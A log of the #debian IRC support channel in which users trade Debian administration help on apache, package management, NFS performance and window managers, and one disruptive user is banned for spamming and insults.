| 05:47.31 | SpeedyG | sixyearsofdreams: depends on the current state of your system, what packages are installed, what modifications you've made and what packages are suggested for upgrading |
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| 05:49.57 | jmt | philipballew: try fluxbox |
| 05:50.34 | jmt | im only using 74 MB of RAM at the moment |
| 05:50.57 | philipballew | is that the lightest? theres also openbox and xmonad |
| 05:51.12 | abaddon | philipballew http://pastebin.com/NNuDjPbf |
| 05:51.18 | jmt | fluxbox is actually good |
| 05:51.18 | abaddon | using wpa2-spk |
| 05:51.20 | abaddon | psk |
| 05:51.36 | sixyearsofdreams | SpeedyG: curently a basic web server, apache2, php and everything along with that |
| 05:52.11 | philipballew | jmt good in what way? |
| 05:52.13 | abaddon | oh and AES instead of tkip |
| 05:52.20 | sixyearsofdreams | SpeedyG: was considering adding mysql which i need so i might do that, but its been a while since i upgraded anything, was always afraid something wrong will happen, finally have it all setup the way i want it lol |
| 05:52.33 | abaddon | philipballew fluxbox is very light and its actually cool :-) |
| 05:52.50 | abaddon | consumes very little resources, youll be able to run firefox etc |
| 05:53.06 | jmt | not with 128 MB of RAM he wont |
| 05:53.17 | abaddon | you could even use a bare X to run firefox from the tty's but :-) |
| 05:53.23 | abaddon | he will |
| 05:53.24 | abaddon | swap.. |
| 05:53.33 | abaddon | 1 window.. will be ok |
| 05:54.11 | philipballew | is that a better idea over a cli system do you think? |
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| 05:54.52 | SpeedyG | sixyearsofdreams: well, always check what packages are to be upgraded. In general, a default installation does not have many issues when upgrading (at least, thats my experience so-far) |
| 05:55.01 | abaddon | you'll still need to do that wifi config though, im on kde and i prefer having it like that.. depends on what you want to do i guess |
| 05:56.22 | philipballew | abaddon, that wifi seemes like a much better way to go in my opinion. the way you do it seemes secure |
| 05:56.23 | jmt | you could run damn small linux |
| 05:56.33 | philipballew | its on a ppc system |
| 05:56.41 | jmt | ok |
| 05:57.42 | philipballew | ill look at fluxbox and see it, if not ill try a cli system |
| 05:58.00 | abaddon | philipballew i just like it like that to be in control of the config, its a "low level" approach |
| 05:58.12 | Faustus | has anyone used the UNetbootin? |
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| 05:58.42 | philipballew | its like you are doing all the work abaddon |
| 05:58.45 | abaddon | as opposed to higher level gui tools |
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| 05:58.56 | philipballew | seemes smarter |
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| 05:59.20 | Faustus | in order to install a regular full install onto hd, does the frugal install (from which a real install is to occur) need to be live? |
| 05:59.31 | sixyearsofdreams | SpeedyG: sorry about that, if you did say anything it wasnt loged :) heh |
| 05:59.45 | SpeedyG | sixyearsofdreams: well, always check what packages are to be upgraded. In general, a default installation does not have many issues when upgrading (at least, thats my experience so-far) |
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| 05:59.50 | SpeedyG | that was my last :) |
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| 06:01.16 | gawry | How do I upgrade my php to 5.3.6? apt-get package is not updated... |
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| 06:04.03 | ravn1 | hi guys, I have a problem with package postgresql under readynas (which is debian based) and the package won't install because the program chfn is missing. Anyone know where this should be located? I did a search and found that passwd is mentioning it, but that is (of course) already installed.... |
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| 06:07.02 | gawry | is it http://www.dotdeb.org a trustfull repository? |
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| 06:07.25 | gawry | it looks like they have the updated PHP package |
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| 06:09.34 | Faustus | Is the debian-live-6.0.1-i386-standard.iso a text install? |
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| 06:18.24 | sixyearsofdreams | SpeedyG: ok |
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| 06:30.27 | uiuiui132 | Hi guys. I am facing some problems installing samba with dpkg. Can anyone pls help? |
| 06:31.59 | Kharec | hi there. |
| 06:32.10 | Kharec | uiuiui132: Why don't you install it with apt? |
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| 06:32.53 | uiuiui132 | Dont have an internet connection. |
| 06:33.06 | uiuiui132 | And apt-cdrom was playing tricks. |
| 06:33.14 | uiuiui132 | So I installed each pkg by hand. |
| 06:33.33 | uiuiui132 | and now... |
| 06:33.40 | uiuiui132 | dpkg -l | grep samba |
| 06:33.41 | dpkg | No packages found matching | grep samba |
| 06:33.45 | uiuiui132 | gives |
| 06:33.49 | uiuiui132 | iHR on samba |
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| 06:34.00 | uiuiui132 | Half-installed and Reinstall needed |
| 06:34.03 | uiuiui132 | :-( |
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| 06:38.42 | Faustus | Anyone know the difference the standard.iso ad the gnome-desktop.iso? |
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| 06:39.35 | AngryBlackGuy | hey, what do you guys think of the new gnome 3 interface that all the distros are moving toward? |
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| 06:40.12 | AngryBlackGuy | gome 2 support and dev will stop |
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| 06:45.48 | Bushmills | thinks "people are free to use what they like" |
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| 06:48.59 | wizzr | a2enmod rewrite does NOT enable mod_rewrite |
| 06:49.02 | wizzr | what the fuck? |
| 06:49.30 | nkuttler | wizzr: type just a2enmod |
| 06:50.15 | nkuttler | actually, check /etc/apache2/mods-enabled/ |
| 06:50.58 | AngryBlackGuy | dear god what have they done to gnome?! |
| 06:51.01 | AngryBlackGuy | what have they done! |
| 06:51.48 | wizzr | Module rewrite already enabled |
| 06:51.55 | wizzr | oh, come on! |
| 06:51.57 | wizzr | what the fuck? |
| 06:53.03 | nkuttler | wizzr: you did restart apache, did you? |
| 06:53.19 | fatalerror | AngryBlackGuy: good old gnome-panel is still an alternative to gnome-shell |
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| 06:54.01 | AngryBlackGuy | but what i dont understand is the mouse gestures have nothing to do with improving usability or workflow, its all just for flashiness |
| 06:54.01 | wizzr | yes, i did |
| 06:54.06 | wizzr | i restarted apache |
| 06:54.10 | wizzr | #httpd is dead btw |
| 06:54.13 | wizzr | as usuallt |
| 06:54.16 | wizzr | usual* |
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| 06:56.24 | wizzr | HELP HELP HELP HELP |
| 06:56.32 | wizzr | how can i get rewriting working in apache2? |
| 06:56.34 | wizzr | Module rewrite already enabled |
| 06:56.41 | wizzr | it says it's running, i can't get it to work |
| 06:56.54 | wizzr | i have no virtual hosts setup, i'm using /var/www |
| 06:57.00 | wizzr | and rewriting is NOT working |
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| 06:57.31 | wizzr | HELP HELP HELP |
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| 06:57.49 | oscalation | can anyone tell me what the business card image is ? |
| 06:57.53 | wizzr | no |
| 06:57.56 | wizzr | stupid question |
| 06:58.00 | wizzr | debian.org tells you |
| 06:58.55 | simonlnu | wizzr: ask #httpd or #apache |
| 06:59.02 | wizzr | nobody is around in there |
| 06:59.03 | wizzr | or here |
| 06:59.06 | oscalation | http://www.debian.org/CD/netinst/ |
| 06:59.08 | oscalation | your right, thanks |
| 06:59.21 | wizzr | =] |
| 06:59.31 | wizzr | HELP HELP HELP! |
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| 07:00.46 | Miesco | ,versions libpackage-stash-perl |
| 07:00.48 | judd | Package libpackage-stash-perl on i386 -- lenny-backports: 0.05-1~bpo50+1; squeeze: 0.05-1; sid: 0.29-1; wheezy: 0.29-1 |
| 07:00.51 | wizzr | HELP / HELP / HELP / HELP / HELP |
| 07:00.51 | Miesco | How do I get the wheezy version |
| 07:00.51 | simonlnu | then wait. shouting HELP here is not going to get you more help except maybe an /ignore |
| 07:00.55 | Miesco | !bbs |
| 07:00.55 | dpkg | it has been said that bbs is Bulletin Board System. Also AOLbonics for "be back soon" which you shouldn't use in #debian. |
| 07:01.01 | wizzr | HELP! HELP! HELP! HELP! |
| 07:01.07 | bolong7 | oscalation : it's debian netinstall image without kernel, you can see packages list here http://cdimage.debian.org/debian-cd/6.0.2.1/amd64/list-cd/debian-6.0.2.1-amd64-businesscard.list.gz |
| 07:01.11 | simonlnu | *plonk* |
| 07:01.50 | wizzr | !bbs |
| 07:01.50 | dpkg | hmm... bbs is Bulletin Board System. Also AOLbonics for "be back soon" which you shouldn't use in #debian. |
| 07:01.57 | simonlnu | Miesco: you go get it |
| 07:02.01 | wizzr | !help |
| 07:02.20 | Miesco | Whats that bbs thing |
| 07:02.27 | wizzr | HELP! HELP! HELP! HELP! I NEED HELP! |
| 07:02.34 | Miesco | like aptitude get-distribution package |
| 07:02.39 | amphi | wizzr: please stop |
| 07:02.48 | simonlnu | o_O |
| 07:03.02 | wizzr | i love how each and every single one of you tries to convince others of the merits of OSS |
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| 07:03.08 | wizzr | and then when simple shit breaks |
| 07:03.13 | wizzr | out of 250+ people |
| 07:03.15 | wizzr | nobody can help |
| 07:03.43 | Miesco | wizzr: Maybe you have the wrong approach |
| 07:03.53 | fatalerror | wizzr: you definitely do |
| 07:03.56 | wizzr | nobody is here |
| 07:04.14 | wizzr | i've stated my question, it just gets scrolled away by people joining and parting and goes unanswered |
| 07:04.43 | Bushmills | !give wizzr a lolly |
| 07:04.43 | dpkg | gives wizzr a lolly |
| 07:04.43 | Seth_Hikaru | gives wizzr a bag full with Michael Jacksons dropped noses |
| 07:05.00 | CruX| | hello, is there a way kow can be KDE 4.6.5 installed into debian squeeze without mixing stable/unstable repos ? |
| 07:05.02 | wizzr | fuckboy |
| 07:05.11 | simonlnu | no |
| 07:05.22 | Miesco | dpkg: bbs |
| 07:05.22 | dpkg | i guess bbs is Bulletin Board System. Also AOLbonics for "be back soon" which you shouldn't use in #debian. |
| 07:05.27 | Miesco | dpkg: bss |
| 07:05.27 | dpkg | Miesco: I don't know, could you explain it? |
| 07:05.32 | wizzr | !bbs |
| 07:05.32 | dpkg | i guess bbs is Bulletin Board System. Also AOLbonics for "be back soon" which you shouldn't use in #debian. |
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| 07:05.36 | wizzr | !bbs |
| 07:05.43 | simonlnu | ffs |
| 07:05.49 | wizzr | !dog |
| 07:05.49 | dpkg | i guess dog is called man's best friend, or a footstool, or god spelled backwards, or cats from www, or http://mfrost.typepad.com/.shared/image.html?/photos/uncategorized/gracem.jpg, or a buffering replacement for <cat>: not maintained upstream, removed from Debian post-Lenny resolve bug #518398. |
| 07:05.51 | wizzr | !cat |
| 07:05.54 | wizzr | !cheese |
| 07:05.55 | dpkg | Cheese is a webcam application for <GNOME> similar to Apple Inc's Photo Booth. Officially part of GNOME since version 2.22. http://live.gnome.org/Cheese/FAQ http://projects.gnome.org/cheese/ #cheese on irc.gnome.org. See also <webcam>. |
| 07:05.59 | amphi | wizzr: please /msg the bot |
| 07:06.06 | simonlnu | could you stop abusing the bot? |
| 07:06.06 | wizzr | please help me |
| 07:06.40 | wizzr | !linux |
| 07:06.41 | dpkg | linux is, like, closed |
| 07:06.47 | wizzr | !debian |
| 07:06.47 | dpkg | extra, extra, read all about it, debian is http://www.debian.org. See http://www.debian.org/doc/manuals/project-history/index.en.html#contents |
| 07:06.53 | wizzr | !help |
| 07:07.03 | fatalerror | wizzr: you realize you're not getting any help like that, right? |
| 07:07.12 | fatalerror | wizzr: you're only likely to get kicked and/or banned real soon |
| 07:07.16 | Miesco | oh its ssb |
| 07:07.20 | wizzr | i'm getting no help anyways |
| 07:07.32 | wizzr | so might as well annoy those who have decided to not help |
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| 07:07.38 | amphi | heh |
| 07:07.40 | chetan | real good attitude wizzr |
| 07:07.43 | wizzr | logical, right? |
| 07:07.51 | simonlnu | !ops wizzr is acting like a pest |
| 07:07.51 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, abrotman, gravity, azeem, Maulkin, stew, peterS, Alife, Myon, Ganneff, weasel, zobel, themill: simonlnu complains about: wizzr is acting like a pest |
| 07:08.09 | Bushmills | !ops wizzr whiner bot abuser insulter |
| 07:08.09 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, abrotman, gravity, azeem, Maulkin, stew, peterS, Alife, Myon, Ganneff, weasel, zobel, themill: bushmills complains about: wizzr whiner bot abuser insulter |
| 07:08.57 | *** mode/#debian [+o peterS] by ChanServ |
| 07:08.58 | *** mode/#debian [+b %*!*@cupid.dateprov.com] by peterS |
| 07:08.58 | *** mode/#debian [-o peterS] by peterS |
| 07:09.18 | fatalerror | thanks, peterS =) |
| 07:09.24 | peterS | "might as well annoy those who have decided to not help", eh? |
| 07:09.30 | fatalerror | I was already asking for help on #freenode, heh |
| 07:09.32 | simonlnu | thank you peterS |
| 07:09.32 | peterS | that's ... not an attitude we welcome here |
| 07:09.34 | peterS | np |
| 07:09.37 | fatalerror | peterS: nice to see you around, btw =) |
| 07:09.45 | peterS | (: |
| 07:09.47 | fatalerror | long time, uh? |
| 07:09.50 | simonlnu | and hi to you peterS, nice to 'see' you |
| 07:09.54 | redguy | I am getting "checking for pthread_once... no" when trying to build sysbench from source. Anyone has an idea what package can provide it? My investigation shows that it should be in libc6, so maybe the ./configure is broken? |
| 07:10.08 | peterS | errr ... yeah. I guess I don't look in here all that often |
| 07:10.24 | simonlnu | seems to me that would be in libc6 or the kernel-headers-dev |
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| 07:10.47 | fatalerror | peterS: I was referring to the time we worked on subversion together, obviously not to randomly chatting on FreeNode #debian =P |
| 07:10.59 | peterS | heh, right |
| 07:11.07 | simonlnu | heh |
| 07:11.15 | peterS | I'm pretty far behind on subversion work at the moment, unfortunately |
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| 07:11.28 | fatalerror | I'm pretty far behind on all my work, at the moment |
| 07:11.37 | Miesco | http://paste.debian.net/124254/ |
| 07:11.39 | peterS | it happens :/ |
| 07:11.46 | fatalerror | hard to see a package of mine that hasn't been NMUed in the last couple of years |
| 07:11.47 | K0JIbKA | Hi all! |
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| 07:11.59 | fatalerror | not to talk about real life job and stuff =/ |
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| 07:12.30 | Guest57144 | how can I list all available user accounts while being in su? |
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| 07:12.45 | fatalerror | and still I'm repackaging wine for work because someone is taking as good care of it as I have |
| 07:12.53 | fatalerror | great payback. thanks, universe! =P |
| 07:13.55 | peterS | someday we will have modern wine on ftp.debian.org again |
| 07:14.00 | *** mode/#debian [+l 1054] by debhelper |
| 07:14.23 | oscalation | ? channel limit? |
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| 07:14.53 | simonlnu | yes |
| 07:15.01 | fatalerror | peterS: I wish I wouldn't see or need wine ever again in my life, actually |
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| 07:15.17 | arnoldB | cat your passwd? |
| 07:15.18 | peterS | oscalation: debhelper is a bot that keeps the channel members limit not too high above current membership. that way, a join flood intended to annoy us all is not very effective |
| 07:15.22 | fatalerror | the piece of software, that is; I'm quite ok with the drink |
| 07:15.42 | oscalation | ah, thanks for the info, that makes sense |
| 07:16.04 | fatalerror | peterS: who runs it, btw? |
| 07:16.12 | peterS | fatalerror: I think dondelelcaro |
| 07:16.19 | simonlnu | yep |
| 07:16.29 | fatalerror | it will break as soon as tcl is upgraded to 8.5.10 |
| 07:16.33 | Miesco | What does ssb mean? |
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| 07:16.39 | fatalerror | better give him a heads up to upgrade eggdrop to 1.6.20, heh |
| 07:16.43 | simonlnu | !ssb |
| 07:16.43 | dpkg | First, check for a backport on <debian-backports>. If unavailable: 1) Add ONLY a <deb-src> line for sid to /etc/apt/sources.list 2) enable debian-backports (see <bdo>) 3) aptitude update; aptitude install build-essential; aptitude build-dep packagename; apt-get -b source packagename; 4) install the resultant debs. To change compilation options, see <package recompile>; for versions newer than sid see <uupdate>. |
| 07:16.50 | Miesco | Whats it stand for |
| 07:16.55 | simonlnu | 'simple sid backport' |
| 07:16.59 | Miesco | thanks |
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| 07:27.17 | AngryBlackGuy | maybe kde is the answer to gnome 3 |
| 07:27.19 | AngryBlackGuy | or a gnome fork |
| 07:28.34 | fatalerror | AngryBlackGuy: it's been talked about around GNOME 2 as well |
| 07:28.54 | fatalerror | some forks were even initiated |
| 07:29.33 | fatalerror | off the top of my head, project goneme, 2004 |
| 07:29.39 | AngryBlackGuy | h,, |
| 07:29.42 | AngryBlackGuy | hmm |
| 07:29.43 | fatalerror | does not even exist anymore, as far as I know |
| 07:29.48 | AngryBlackGuy | but gnome 3 is just radical |
| 07:29.56 | AngryBlackGuy | it doesnt improve workflow at all |
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| 07:29.59 | fatalerror | some people said the same about GNOME 2 |
| 07:30.00 | AngryBlackGuy | it makes it worse |
| 07:30.03 | AngryBlackGuy | its just for show |
| 07:30.21 | fatalerror | AngryBlackGuy: some people disagree, but again, you can revert to gnome-panel if you like |
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| 07:32.36 | Sami345 | Package sun-java6-jre is not available, but is referred to by another package. |
| 07:32.55 | Sami345 | I tried to follow the instructions in wiki :( |
| 07:33.06 | Sami345 | I am using Debian 5.0 (Lenny) |
| 07:33.08 | fatalerror | Sami345: what instructions, which wiki? |
| 07:33.17 | Sami345 | http://wiki.debian.org/Java/Sun |
| 07:33.44 | Sami345 | It said something about non-free |
| 07:33.52 | Sami345 | Is it something I have to enable? |
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| 07:39.47 | Ichigo | When SSHing into any user but root, it shows "I have no name!@server:", what would cause this/how can I fix it? |
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| 07:40.02 | Bushmills | Sami345: non-free, yes |
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| 07:41.26 | nkuttler | Ichigo: please pastebin the whole error + command |
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| 07:42.32 | Ichigo | nkuttler, It's not really an error, it's just that instead of bash showing "user@sevrername" it shows "I have no name!@servername" |
| 07:43.03 | Ichigo | It still functions fine. |
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| 07:56.00 | Patina | Never seen that one before. |
| 07:56.25 | Patina | Ichigo: Guessing something with /etc/passwd. |
| 07:56.41 | Patina | Maybe it is unreadable by bash. |
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| 07:57.23 | TBotNik | All: Back!! Hey guys been fun!! NOT!! Got more to do and will be back 2morrow nite to whip this. Ain't no machine ever whipped me, not yet, so this one is going down one way or another. Will keep hitting it till it gives in. LOL See ya all tomorrow |
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| 08:00.18 | Ichigo | Pathin, yeah, it was permissions |
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| 08:02.10 | Patina | Ok |
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| 08:29.47 | Sander^work | Does it exist an alternative to nfs which is better performance wise? |
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| 08:31.54 | K0JIbKA | Sander^work:may be SAMBA? |
| 08:32.32 | K0JIbKA | though performance is it's weak point... |
| 08:32.51 | K0JIbKA | for me it's quite ok |
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| 08:33.32 | Sander^work | Well.. all I need.. is one server to share files to several clients at the same time.. what about sshfs ? |
| 08:34.10 | darkskiez | does anyone know what kernel option might change a hdd to appear as /dev/disk/by-id/ata-* to /dev/disk/by-id/scsi1-* |
| 08:34.14 | mjt | what's wrong with nfs? |
| 08:34.45 | mjt | darkskiez: different ide driver |
| 08:34.55 | Ticho | Sander^work: unless you really need the encryption and overhead, which could be significant with high data throughput, do not use sshfs over nfs |
| 08:35.05 | mjt | darkskiez: from old/obsolete ide subsytem to current pata subsystem |
| 08:35.21 | darkskiez | mjt, old/obsolete uses ata-? or scsi1-? |
| 08:35.49 | Sander^work | mjt, nfs gives very high io on the san. |
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| 08:36.10 | mjt | darkskiez: actually, i have both links to each of my drives |
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| 08:36.27 | mjt | Sander^work: so, that should be good, no? |
| 08:36.41 | Sander^work | Ticho, dosn't ssh have it's own sharing protocol too? which is not nfs? |
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| 08:37.01 | darkskiez | mjt, interesting... i wonder if thats a debian patch... i've built my own debian kernel image.. it messes up after upgrade as grub has gone wrong |
| 08:37.19 | Ticho | Sander^work: yes |
| 08:37.20 | mjt | darkskiez: all the links there are manitained solely by udev rules |
| 08:37.50 | Sander^work | mjt, sometimes it takes 0.05 -0.1 second for 1 disk access.. which is way too high. |
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| 08:38.24 | darkskiez | mjt, even more curious! |
| 08:39.12 | mjt | Sander^work: nfs is one of the lightest sharing protocols, so it should be quite fast. ssh for example means encryption of all traffic which means it'll use your cpu heavily. |
| 08:39.33 | Bushmills | Sander^work: there is sshfs and shfs which are hacks to mount using the sftp subsystem of ssh |
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| 08:41.32 | Bushmills | Sander^work: if your concern is security, rather then sshfs'in multiple clients, consider to set up a vpn, and run just any service you like over it |
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| 08:42.23 | Sander^work | Bushmills, its on an internal lan.. so security is not any concern. |
| 08:42.39 | Bushmills | ah. then you don't want sshfs |
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| 08:43.42 | Sander^work | It's atleast lots of small files.. which is the problem.. because the access time is multiplied for each access.. which makes the total load time somtimes 10 seconds. |
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| 08:45.10 | Sander^work | I'm running apache over nfs.. don't know how smart that is thought.. |
| 08:45.40 | Bushmills | server should cache index of files, and many small files, reducing the latency |
| 08:46.21 | Sander^work | Bushmills, not when its a php script which make a request for a file. |
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| 08:47.09 | Bushmills | how are php and network file systems related to each other? |
| 08:47.51 | Sander^work | Bushmills, apache's www folder is stored on nfs. |
| 08:49.16 | Sander^work | Bushmills, so we have 3 frontends mounting the www folder from one backend server. |
| 08:49.17 | Bushmills | the file server doesn't care whether apache request a file because it was a php script running under apache said so |
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| 08:50.08 | Bushmills | all it knows is "that file was requested" |
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| 08:50.45 | mjt | basically, if read access over nfs is that slow, i doubt any other protocol will be faster |
| 08:50.53 | Sander^work | Bushmills, what i''m saying.. is that when a php script use includes to load 200 diffrent files.. its done one after eachother.. and not in paralell. |
| 08:51.15 | fossala | Why do I have adobe acrobat installed on my PC? I didn't install it and my g/f doesn't know how. |
| 08:51.17 | mjt | and how you plan to change that by changing protocol? |
| 08:51.32 | fossala | I've just looked and it doesn't seem to be in my repos |
| 08:51.38 | Bushmills | Sander^work: your network cable is something which allows data through it sequentially only |
| 08:51.44 | Sander^work | mjt, at most times its fast.. but sometimes.. maybe 2% of the time its slow. |
| 08:52.29 | mjt | so find out what it's doing at that time. Note that nfs (unlike sshfs) allows aggressive client-side caching |
| 08:52.38 | Bushmills | if whatever requests files takes a nap between each request, then there's nothing your network file system can do about it |
| 08:53.06 | fossala | Dammit it's virtualbox that installed it. |
| 08:53.19 | mjt | fossala: if you, as owner of your system, didn't install some software, when someone else owns it, not you. |
| 08:53.36 | Sander^work | mjt, can an nfs client cache to another local disk? |
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| 08:54.02 | mjt | yes |
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| 08:55.09 | Sander^work | mjt, do you know a document about how to do that? |
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| 08:55.36 | themill | fossala: debian's virtualbox packages won't install acroread; acroread is not even in debian. |
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| 08:58.02 | fossala | It was from virtualbox repo. And it pulled it from debian-multimedia. |
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| 08:59.01 | fossala | I tried to remove it and it still had a depenacy on a pdf viewer and so I install zathura and It uninstalled cleanly. |
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| 09:00.11 | fossala | Just think its poor that oracles Virtualbox (there repo) pulls in acrobat. |
| 09:00.47 | themill | fossala: that's two good reasons not to use out-of-debian repos then. |
| 09:00.55 | fossala | Yup. |
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| 09:01.20 | fossala | But I need the non ose version of virtualbox. |
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| 09:01.46 | themill | fossala: there's no such distinction |
| 09:02.11 | fossala | themill, No such distinction? |
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| 09:02.29 | themill | fossala: there's no "ose version" and "non ose version" of virtualbox |
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| 09:02.46 | fossala | I must of missed that, I will look into it. |
| 09:03.01 | themill | ,versions virtualbox --release squeeze-backports |
| 09:03.01 | judd | Package virtualbox on i386 -- squeeze-backports: 4.0.8-dfsg-2~bpo60+1 |
| 09:03.38 | fossala | I will just deinstall virtualbox and dissable the repo and use backports. |
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| 09:27.52 | puff | I accidentally typed "sudo aptitude install inkscape" in a shell window of a server configured debian squeeze box. I didn't realize this until after I'd already said "yes, go ahead and install it". Needless to say, it's pulling in a ton of stuff. Control-C does not appear to do anything. Control-Z stopped the process. How can I abort this cleanly? |
| 09:28.28 | puff | Will a regular kill cause aptitude to clean up after itself, or will it leave broken locks and half-installed stuff all over the place? |
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| 09:29.11 | puff | Will a regular kill cause aptitude to clean up after itself, or will it leave broken locks and half-installed stuff all over the place? |
| 09:29.23 | puff | Sigh. |
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| 09:31.26 | daemonkeeper | Depending where you killed apt, you need to cleanup with "dpkg --configure -a" or "apt-get -f install". Alternatively do "apt-get remove inkscape" if it is already configured |
| 09:31.29 | iceroot | puff: a normal kill (without -9) should remove locks |
| 09:31.42 | iceroot | puff: because "kill (-15)" is telling the app to end |
| 09:31.53 | iceroot | puff: kill -9 will not give the app time to die |
| 09:32.14 | iceroot | puff: normally its a bad idea to use -9 |
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| 09:33.26 | puff | daemonkeeper, iceroot, I haven't killed aptitude yet, just used control-Z to stop the process. |
| 09:33.35 | daemonkeeper | puff: Type "fg" |
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| 09:33.40 | puff | daemonkeeper: And then? |
| 09:33.47 | daemonkeeper | Wait and see |
| 09:33.58 | puff | daemonkeeper: While it installs several gigs of files? |
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| 09:34.06 | daemonkeeper | Probably? |
| 09:34.16 | puff | daemonkeeper: What I'm asking is, how do I abort the process? |
| 09:34.33 | puff | daemonkeeper: Control-C doesn't work. Control-Z does, but of course that only puts it on hold. |
| 09:34.55 | daemonkeeper | You can't. You can kill apt and process as I told you later. |
| 09:35.06 | daemonkeeper | *before not later |
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| 09:36.05 | puff | daemonkeeper: Is killing it using soft kill likely to break stuff? |
| 09:36.17 | daemonkeeper | For some values of break. |
| 09:36.23 | puff | Thanks :-( |
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| 09:36.52 | daemonkeeper | dpkg is very robust, you can't damage anything serious, but yes, you will need some cleanup |
| 09:36.52 | dpkg | daemonkeeper: You are person #1 to send an unparseable request |
| 09:36.59 | daemonkeeper | not you, dpkg |
| 09:37.02 | daemonkeeper | The other dpkg. |
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| 09:37.09 | puff | What kind of cleanup? |
| 09:37.18 | puff | What will I need to do after I do the kill? |
| 09:37.49 | daemonkeeper | As I said, dpkg may leave you with half-installed packages or packages with not yet installed dependencies, depending where you killed it exactly. |
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| 09:38.12 | puff | Okay, thanks. |
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| 09:38.29 | puff | what are the odds of problems if I leave the process stopped until tomorrow morning? |
| 09:38.48 | puff | Obviously if anybody tries to use apt, dpg, etc, thet'll get a lock problem, but beyond that...? |
| 09:38.57 | daemonkeeper | Perhaps none. If you are still /downloading/ packages, just kill apt and do apt-get remove inkscape then. |
| 09:39.19 | daemonkeeper | If you are already installing it too late. |
| 09:39.20 | puff | Lots of selecting and unpacking lines. |
| 09:39.22 | daemonkeeper | *its |
| 09:39.32 | daemonkeeper | Well, you are done with downloading then |
| 09:39.37 | puff | Sigh. |
| 09:39.59 | puff | One of those days. |
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| 09:40.15 | puff | Okay, thanks, guess I'll just have to deal with it. |
| 09:40.28 | daemonkeeper | I don't quite understand your problem. Just let apt finish and remove your cruft later? |
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| 09:40.42 | daemonkeeper | Its two commands. |
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| 09:41.10 | puff | daemonkeeper: Hm, well, I guess I could do that. |
| 09:41.32 | krogon | hello, I want to redirect traffic from one port to another using iptables and it does not work for me. Here is a paste of iptables rules http://pastebin.com/sc3ASVTh (want to redir from 2000 to 22) |
| 09:41.34 | puff | daemonkeeper: I'm just a little scared of all the crap it'll have to download and install, sinc eit's a headless server box and I installed a GUI graphics editing program. |
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| 09:41.48 | puff | daemonkeeper: Do you think it'd be safer to just let it run the install and then sudo aptitude remove? |
| 09:41.48 | daemonkeeper | Of course that's more sensible than killing apt ... |
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| 09:41.56 | daemonkeeper | Yes! |
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| 09:42.16 | puff | daemonkeeper: Okay, I guess I'll take a shot at that. |
| 09:42.16 | daemonkeeper | Let it install, then do apt-get remove inkscape, apt-get autoremove. Or aptitude even. |
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| 09:45.18 | puff | Hm, errored out after I resumed: http://paste.debian.net/124264/ |
| 09:45.57 | puff | http://paste.debian.net/124265/ |
| 09:46.06 | puff | so, I guess I'll just go ahead and sudo aptitude remove inkscape |
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| 09:55.15 | puff | daemonkeeper: Well, the sky hasn't fallen, so I guess I'm alright. |
| 09:55.20 | puff | daemonkeeper: Thanks. |
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| 10:26.35 | MarKsaitis | \<Roobarb> MarKsaitis: I'd suggest you haven't reinstalled Apache correctly |
| 10:26.35 | MarKsaitis | <MarKsaitis> Roobarb, I have marked every single currently installed *apache2* package for reinstallation and applied the changes |
| 10:26.35 | MarKsaitis | <MarKsaitis> in synaptic package manager |
| 10:26.35 | MarKsaitis | <MarKsaitis> why this all ancient "stable" stuff just cant do its job it should |
| 10:26.35 | MarKsaitis | <Roobarb> You'd have to ask Debian |
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| 10:26.45 | MarKsaitis | ? |
| 10:27.09 | redguy | MarKsaitis: /msg dpkg paste |
| 10:27.12 | MarKsaitis | I just wanted to get the default config giles back, didnt work |
| 10:27.31 | MarKsaitis | redguy, ok. I only wanted 5 lines |
| 10:27.32 | MarKsaitis | =) |
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| 10:33.11 | MarKsaitis | I have just completelly removed all of apache2 |
| 10:33.16 | MarKsaitis | and then installed it again |
| 10:33.30 | MarKsaitis | why my config directories and config files are completelly empty? |
| 10:33.36 | MarKsaitis | enabled-sites is empty too! |
| 10:33.37 | MarKsaitis | ? |
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| 10:33.40 | MarKsaitis | by default |
| 10:33.45 | MarKsaitis | somebody help me |
| 10:33.51 | MarKsaitis | I been sent from #httpd |
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| 10:34.17 | petemc | !confmiss |
| 10:34.17 | dpkg | You have to especially tell the packaging system to reinstall config files because when they are gone, it is assumed that you want them to stay deleted. "aptitude -o DPkg::Options::='--force-confmiss' reinstall $packagename" will restore them (man dpkg for details). If the package uses <ucf> for config file management, ask me about <ucf confmiss>. |
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| 10:36.10 | Furai` | New Thunderbird, wow. :) |
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| 10:36.20 | Odaym | really |
| 10:36.27 | Odaym | you're ..checking the site? |
| 10:36.29 | MarKsaitis | petemc, thanx..... it is so ridiculous |
| 10:36.36 | petemc | what is? |
| 10:36.36 | MarKsaitis | whats new in it? ;] |
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| 10:37.05 | MarKsaitis | petemc, dunno. It's so hidden.... I would have never found out myself that I need to give this command |
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| 10:39.03 | MarKsaitis | petemc, this stupid command started to remove everysingle thing I have |
| 10:39.33 | MarKsaitis | aptitude -o DPkg::Options::='--force-confmiss' reinstall apache2.2-common |
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| 10:39.52 | MarKsaitis | thats what I did, and it is now removing things like software center, libmodo and loads of others |
| 10:39.58 | MarKsaitis | why? |
| 10:40.03 | th0r | MarKsaitis: how long is this rant going to go on? |
| 10:40.16 | MarKsaitis | until I know the answer |
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| 10:41.42 | MarKsaitis | http://pastebin.com/yAYW8NBY |
| 10:41.53 | MarKsaitis | this is what happened when I ran this command |
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| 10:43.06 | MarKsaitis | It has reinstalled this package, thats ok. But it also has removed dozens of other packages. I didn't ask for that, did I? |
| 10:43.23 | MarKsaitis | I only issued this command as recommended by DPKG |
| 10:43.35 | MarKsaitis | aptitude -o DPkg::Options::='--force-confmiss' reinstall apache2.2-common |
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| 10:43.44 | MarKsaitis | please tell me why did it happen? |
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| 10:44.08 | lolcat | MarKsaitis: Because God wanted it to, now please go do something else |
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| 10:44.37 | CruX| | MarKsaitis: because those packages was in conflict or marked for deletion |
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| 10:44.54 | MarKsaitis | I didnt marked them for deletion |
| 10:45.35 | lolcat | MarKsaitis: Are you sure? |
| 10:45.43 | MarKsaitis | I swear the god, look at my pastebin, it has deleted random stuff |
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| 10:45.55 | MarKsaitis | yes, I am absolutelly sure. I only issued that command I just said |
